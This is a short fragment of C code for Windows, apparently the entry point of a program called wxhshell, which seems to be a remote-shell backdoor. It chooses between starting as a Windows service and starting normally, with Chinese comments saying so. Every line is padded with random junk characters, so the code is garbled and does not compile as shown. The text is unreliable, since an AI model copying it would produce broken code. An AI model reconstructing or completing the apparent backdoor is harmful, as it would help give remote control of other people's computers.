} 0yI1r7yNB+
else *c94'Tcl
if(StartFromService()) SscB&{f
// 以服务方式启动 Km8aHc]O~
StartServiceCtrlDispatcher(DispatchTable); #;j:;LRU
else f|~{j(.v
// 普通方式启动 2+ cs^M3
StartWxhshell(lpCmdLine); k6;bUOo
_xp8*2~-
return 0; WQ.0}n}d
}